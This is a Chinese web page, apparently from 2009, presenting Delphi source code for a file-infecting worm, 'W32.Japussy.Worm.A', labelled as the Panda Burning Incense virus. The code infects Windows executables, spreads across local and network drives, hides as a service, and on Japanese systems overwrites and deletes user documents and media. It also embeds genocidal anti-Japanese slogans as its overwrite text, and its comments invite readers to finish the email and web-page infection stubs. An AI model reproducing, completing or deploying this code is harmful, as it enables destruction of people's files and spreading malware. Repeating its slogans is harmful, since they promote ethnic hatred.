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熊猫烧香源代码

时间:2009/11/4 14:45:00来源:本站整理作者:我要评论(0)

program Japussy;
  uses
   Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
  const
   HeaderSize = 82432; //病毒体的大小
   IconOffset = $12EB8; //PE文件主图标的偏移量

   //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
   //查找2800000020的十六进制字符串可以找到主图标的偏移量

  {
   HeaderSize = 38912; //Upx压缩过病毒体的大小
   IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

   //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
  }
   IconSize = $2E8; //PE文件主图标的大小--744字节
   IconTail = IconOffset + IconSize; //PE文件主图标的尾部
   ID = $44444444; //感染标记

   //垃圾码,以备写入
   Catchword = 'If a race need to be killed out, it must be Yamato. ' +
   'If a country need to be destroyed, it must be Japan! ' +
   '*** W32.Japussy.Worm.A ***';
  {$R *.RES}
  function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
   stdcall; external 'Kernel32.dll'; //函数声明
  var
   TmpFile: string;
   Si: STARTUPINFO;
   Pi: PROCESS_INFORMATION;
   IsJap: Boolean = False; //日文操作系统标记
  { 判断是否为Win9x }
  function IsWin9x: Boolean;
  var
   Ver: TOSVersionInfo;
  begin
   Result := False;
   Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
   if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
  end;
  { 在流之间复制 }
  procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
  var
   sCurPos, dCurPos: Integer;
  begin
   sCurPos := Src.Position;
   dCurPos := Dst.Position;
   Src.Seek(sStartPos, 0);
   Dst.Seek(dStartPos, 0);
   Dst.CopyFrom(Src, Count);
   Src.Seek(sCurPos, 0);
   Dst.Seek(dCurPos, 0);
  end;
  { 将宿主文件从已感染的PE文件中分离出来,以备使用 }
  procedure ExtractFile(FileName: string);
  var
   sStream, dStream: TFileStream;
  begin
   try
   sStream := TFileStream.Create(ParamStr(0), fmOpenRead or   fmShareDenyNone);
   try
   dStream := TFileStream.Create(FileName, fmCreate);
   try
   sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
   dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
   finally
   dStream.Free;
     end;
   finally
   sStream.Free;
   end;
  except
  end;
  end;
  { 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
  begin
   Si.cb := SizeOf(Si);
   Si.lpReserved := nil;
   Si.lpDesktop := nil;
   Si.lpTitle := nil;
   Si.dwFlags := STARTF_USESHOWWINDOW;
   Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
  end;
  { 发带毒邮件 }
  procedure SendMail;
  begin
   //哪位仁兄愿意完成之?
  end;
  { 感染PE文件 }
  procedure InfectOneFile(FileName: string);
  var
   HdrStream, SrcStream: TFileStream;
   IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
   i: Integer;
   Buf: array[0..1] of Char;
  begin
   try //出错则文件正在被使用,退出
   if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
   Exit;
   Infected := False;
   IsPE := False;
   SrcStream := TFileStream.Create(FileName, fmOpenRead);
  try
   for i := 0 to $108 do //检查PE文件头
   begin
   SrcStream.Seek(i, soFromBeginning);
   SrcStream.Read(Buf, 2);
   if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
   begin
   IsPE := True; //是PE文件
   Break;
   end;
  end;
     SrcStream.Seek(-4, soFromEnd); //检查感染标记
   SrcStream.Read(iID, 4);
   if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
   Infected := True;
   finally
   SrcStream.Free;
   end;
   if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
   Exit;
   IcoStream := TMemoryStream.Create;
  DstStream := TMemoryStream.Create;
   try
   aIcon := TIcon.Create;
   try
   //得到被感染文件的主图标(744字节),存入流
   aIcon.ReleaseHandle;
   aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
   aIcon.SaveToStream(IcoStream);
   finally
   aIcon.Free;
   end;
   SrcStream := TFileStream.Create(FileName, fmOpenRead);
   //头文件
   HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
   try
   //写入病毒体主图标之前的数据
   CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
   //写入目前程序的主图标
   CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
   //写入病毒体主图标到病毒体尾部之间的数据
   CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
   //写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
   //写入已感染的标记
   DstStream.Seek(0, 2);
   iID := $44444444;
   DstStream.Write(iID, 4);
   finally
   HdrStream.Free;
   end;
  finally
   SrcStream.Free;
   IcoStream.Free;
   DstStream.SaveToFile(FileName); //替换宿主文件
   DstStream.Free;
   end;
   except;
   end;
  end;

  { 将目标文件写入垃圾码后删除 }
  procedure SmashFile(FileName: string);
  var
   FileHandle: Integer;
   i, Size, Mass, Max, Len: Integer;
  begin
   try
   SetFileAttributes(PChar(FileName), 0); //去掉只读属性
   FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
   try
   Size := GetFileSize(FileHandle, nil); //文件大小
   i := 0;
   Randomize;
   Max := Random(15); //写入垃圾码的随机次数
   if Max < 5 then
   Max := 5;
   Mass := Size div Max; //每个间隔块的大小
   Len := Length(Catchword);
   while i < Max do
   begin
   FileSeek(FileHandle, i * Mass, 0); //定位
   //写入垃圾码,将文件彻底破坏掉
   FileWrite(FileHandle, Catchword, Len);
   Inc(i);
   end;
  finally
   FileClose(FileHandle); //关闭文件
   end;
   DeleteFile(PChar(FileName)); //删除之
  except
   end;
  end;
  { 获得可写的驱动器列表 }
  function GetDrives: string;
  var
   DiskType: Word;
   D: Char;
   Str: string;
   i: Integer;
  begin
   for i := 0 to 25 do //遍历26个字母
   begin
   D := Chr(i + 65);
   Str := D + ':';
   DiskType := GetDriveType(PChar(Str));
   //得到本地磁盘和网络盘
   if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
   Result := Result + D;
   end;
  end;
  { 遍历目录,感染和摧毁文件 }
  procedure LoopFiles(Path, Mask: string);
  var
   i, Count: Integer;
   Fn, Ext: string;
   SubDir: TStrings;
   SearchRec: TSearchRec;
   Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
   if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
   (SearchRec.Name <> '..') then
   Result := 0 //不是目录
   else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
   (SearchRec.Name <> '..') then
   Result := 1 //不是根目录
  else Result := 2; //是根目录
end;
  begin
   if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
   begin
   repeat
   PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
   if IsValidDir(SearchRec) = 0 then
   begin
   Fn := Path + SearchRec.Name;
   Ext := UpperCase(ExtractFileExt(Fn));
   if (Ext = '.EXE') or (Ext = '.SCR') then
   begin
   InfectOneFile(Fn); //感染可执行文件
   end
   else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
   begin
   //感染HTML和ASP文件,将Base64编码后的病毒写入
   //感染浏览此网页的所有用户
   //哪位大兄弟愿意完成之?
   end
   else if Ext = '.WAB' then //Outlook地址簿文件
   begin
   //获取Outlook邮件地址
   end
   else if Ext = '.ADC' then //Foxmail地址自动完成文件
   begin
   //获取Foxmail邮件地址
   end
   else if Ext = 'IND' then //Foxmail地址簿文件
   begin
   //获取Foxmail邮件地址
   end
   else
   begin
   if IsJap then //是倭文操作系统
   begin
   if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
   (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
   (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
   (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
   (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
   (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
   SmashFile(Fn); //摧毁文件
   end;
  end;
   end;
   //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
   Sleep(200);
   until (FindNext(SearchRec) <> 0);
  end;
   FindClose(SearchRec);
   SubDir := TStringList.Create;
   if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
   begin
   repeat
   if IsValidDir(SearchRec) = 1 then
   SubDir.Add(SearchRec.Name);
   until (FindNext(SearchRec) <> 0);
   end;
   FindClose(SearchRec);
   Count := SubDir.Count - 1;
   for i := 0 to Count do
   LoopFiles(Path + SubDir.Strings[i] + '', Mask);
   FreeAndNil(SubDir);
  end;
  { 遍历磁盘上所有的文件 }
procedure InfectFiles;
  var
   DriverList: string;
   i, Len: Integer;
  begin
  if GetACP = 932 then //日文操作系统
   IsJap := True; //去死吧!
  DriverList := GetDrives; //得到可写的磁盘列表
   Len := Length(DriverList);
   while True do //死循环
   begin
   for i := Len downto 1 do //遍历每个磁盘驱动器
   LoopFiles(DriverList[i] + ':', '*.*'); //感染之
   SendMail; //发带毒邮件
   Sleep(1000 * 60 * 5); //睡眠5分钟
   end;
  end;
  { 主程序开始 }
  begin
   if IsWin9x then //是Win9x
   RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
   else //WinNT
  begin
   //远程线程映射到Explorer进程
   //哪位兄台愿意完成之?
   end;
   //如果是原始病毒体自己
   if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
   InfectFiles //感染和发邮件
  else //已寄生于宿主程序上了,开始工作
   begin
   TmpFile := ParamStr(0); //创建临时文件
   Delete(TmpFile, Length(TmpFile) - 4, 4);
   TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
   ExtractFile(TmpFile); //分离之
   FillStartupInfo(Si, SW_SHOWDEFAULT);
   CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
   0, nil, '.', Si, Pi); //创建新进程运行之
   InfectFiles; //感染和发邮件
   end;
  end.

 

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